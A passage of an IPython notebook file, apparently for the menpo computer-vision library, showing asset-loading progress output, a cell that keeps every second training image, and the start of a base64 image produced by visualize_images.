64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============= ] 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============== ] 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=============== ] 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================ ] 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================= ] 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [================== ] 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=================== ] 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====================] 100%" ] } ], "prompt_number": 2 }, { "cell_type": "code", "collapsed": false, "input": [ "training_images = training_images[::2]" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 9 }, { "cell_type": "code", "collapsed": false, "input": [ "from menpo.visualize import visualize_images\n", "\n", "visualize_images(training_images)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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